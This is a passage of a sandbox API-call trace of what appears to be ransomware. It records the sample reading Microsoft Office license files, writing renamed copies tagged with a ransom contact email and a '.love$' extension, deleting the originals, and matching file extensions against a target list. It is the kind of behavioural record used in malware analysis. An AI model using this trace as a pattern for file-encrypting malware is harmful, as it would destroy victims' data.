office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0276.304] GetLastError () returned 0x0 [0276.304] ReadFile (in: hFile=0x56c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0276.326] WriteFile (in: hFile=0x550, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d70, lpOverlapped=0x0) returned 1 [0276.330] ReadFile (in: hFile=0x56c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0276.330] WriteFile (in: hFile=0x550, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11c, lpOverlapped=0x0) returned 1 [0276.330] SetEndOfFile (hFile=0x550) returned 1 [0276.330] CloseHandle (hObject=0x550) returned 1 [0276.330] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.330] SetEndOfFile (hFile=0x56c) returned 1 [0276.338] CloseHandle (hObject=0x56c) returned 1 [0276.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1 [0276.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.340] lstrlenW (lpString=".doc") returned 4 [0276.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.340] lstrlenW (lpString=".docx") returned 5 [0276.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.340] lstrlenW (lpString=".pdf") returned 4 [0276.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.340] lstrlenW (lpString=".xls") returned 4 [0276.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.340] lstrlenW (lpString=".xlsx") returned 5 [0276.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.340] lstrlenW (lpString=".ppt") returned 4 [0276.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString=".zip") returned 4 [0276.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString=".rar") returned 4 [0276.341] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString=".bz2") returned 4 [0276.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString=".7z") returned 3 [0276.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString=".dbf") returned 4 [0276.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString=".1cd") returned 4 [0276.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString=".jpg") returned 4 [0276.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.341] lstrlenW (lpString=".doc") returned 4 [0276.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.341] lstrlenW (lpString=".docx") returned 5 [0276.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.341] lstrlenW (lpString=".pdf") returned 4 [0276.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString=".xls") returned 4 [0276.342] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString=".xlsx") returned 5 [0276.342] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.342] lstrlenW (lpString=".ppt") returned 4 [0276.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.342] lstrlenW (lpString=".zip") returned 4 [0276.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString=".rar") returned 4 [0276.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString=".bz2") returned 4 [0276.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString=".7z") returned 3 [0276.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.342] lstrlenW (lpString=".dbf") returned 4 [0276.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.342] lstrlenW (lpString=".1cd") returned 4 [0276.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0276.342] lstrlenW (lpString=".jpg") returned 4 [0276.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.343] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.343] lstrlenW (lpString="O365HomePremR_SubTest5-pl.xrm-ms") returned 32 [0276.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0276.344] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11179) returned 1 [0276.344] CloseHandle (hObject=0x56c) returned 1 [0276.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220 [0276.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0276.345] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.345] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0276.346] GetLastError () returned 0x0 [0276.346] ReadFile (in: hFile=0x56c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2bab, lpOverlapped=0x0) returned 1 [0276.645] WriteFile (in: hFile=0x550, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0276.674] ReadFile (in: hFile=0x56c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0276.674] WriteFile (in: hFile=0x550, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x114, lpOverlapped=0x0) returned 1 [0276.674] SetEndOfFile (hFile=0x550) returned 1 [0276.681] CloseHandle (hObject=0x550) returned 1 [0276.684] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.684] SetEndOfFile (hFile=0x56c) returned 1 [0276.722] CloseHandle (hObject=0x56c) returned 1 [0276.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1 [0276.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.724] lstrlenW (lpString=".doc") returned 4 [0276.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.724] lstrlenW (lpString=".docx") returned 5 [0276.724] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.725] lstrlenW (lpString=".pdf") returned 4 [0276.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString=".xls") returned 4 [0276.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString=".xlsx") returned 5 [0276.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.725] lstrlenW (lpString=".ppt") returned 4 [0276.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.725] lstrlenW (lpString=".zip") returned 4 [0276.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString=".rar") returned 4 [0276.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString=".bz2") returned 4 [0276.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString=".7z") returned 3 [0276.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.725] lstrlenW (lpString=".dbf") returned 4 [0276.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.725] lstrlenW (lpString=".1cd") returned 4 [0276.725] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.725] lstrlenW (lpString=".jpg") returned 4 [0276.725] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.726] lstrlenW (lpString=".doc") returned 4 [0276.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".docx") returned 5 [0276.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.726] lstrlenW (lpString=".pdf") returned 4 [0276.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".xls") returned 4 [0276.726] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".xlsx") returned 5 [0276.726] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.726] lstrlenW (lpString=".ppt") returned 4 [0276.726] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.726] lstrlenW (lpString=".zip") returned 4 [0276.726] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".rar") returned 4 [0276.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".bz2") returned 4 [0276.726] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.726] lstrlenW (lpString=".7z") returned 3 [0276.726] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.726] lstrlenW (lpString=".dbf") returned 4 [0276.727] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.727] lstrlenW (lpString=".1cd") returned 4 [0276.727] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0276.727] lstrlenW (lpString=".jpg") returned 4 [0276.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.762] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.762] lstrlenW (lpString="O365HomePremR_SubTrial1-ppd.xrm-ms") returned 34 [0276.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0276.764] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=23135) returned 1 [0276.764] CloseHandle (hObject=0x388) returned 1 [0276.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0276.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0276.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0276.767] GetLastError () returned 0x0 [0276.767] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0277.541] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5a60, lpOverlapped=0x0) returned 1 [0277.543] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0277.543] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x118, lpOverlapped=0x0) returned 1 [0277.543] SetEndOfFile (hFile=0x484) returned 1 [0277.544] CloseHandle (hObject=0x484) returned 1 [0277.544] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0277.544] SetEndOfFile (hFile=0x388) returned 1 [0277.548] CloseHandle (hObject=0x388) returned 1 [0277.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1 [0277.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.552] lstrlenW (lpString=".doc") returned 4 [0277.552] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.552] lstrlenW (lpString=".docx") returned 5 [0277.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.553] lstrlenW (lpString=".pdf") returned 4 [0277.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString=".xls") returned 4 [0277.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString=".xlsx") returned 5 [0277.553] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.553] lstrlenW (lpString=".ppt") returned 4 [0277.553] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.553] lstrlenW (lpString=".zip") returned 4 [0277.553] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString=".rar") returned 4 [0277.553] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString=".bz2") returned 4 [0277.553] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString=".7z") returned 3 [0277.553] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.553] lstrlenW (lpString=".dbf") returned 4 [0277.553] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.553] lstrlenW (lpString=".1cd") returned 4 [0277.553] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.553] lstrlenW (lpString=".jpg") returned 4 [0277.553] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.554] lstrlenW (lpString=".doc") returned 4 [0277.554] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".docx") returned 5 [0277.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.554] lstrlenW (lpString=".pdf") returned 4 [0277.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".xls") returned 4 [0277.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".xlsx") returned 5 [0277.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.554] lstrlenW (lpString=".ppt") returned 4 [0277.554] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.554] lstrlenW (lpString=".zip") returned 4 [0277.554] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".rar") returned 4 [0277.554] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".bz2") returned 4 [0277.554] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString=".7z") returned 3 [0277.554] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.554] lstrlenW (lpString=".dbf") returned 4 [0277.554] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.554] lstrlenW (lpString=".1cd") returned 4 [0277.555] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0277.555] lstrlenW (lpString=".jpg") returned 4 [0277.555] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.555] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.555] lstrlenW (lpString="O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 37 [0277.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.556] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11635) returned 1 [0277.556] CloseHandle (hObject=0x388) returned 1 [0277.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0277.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 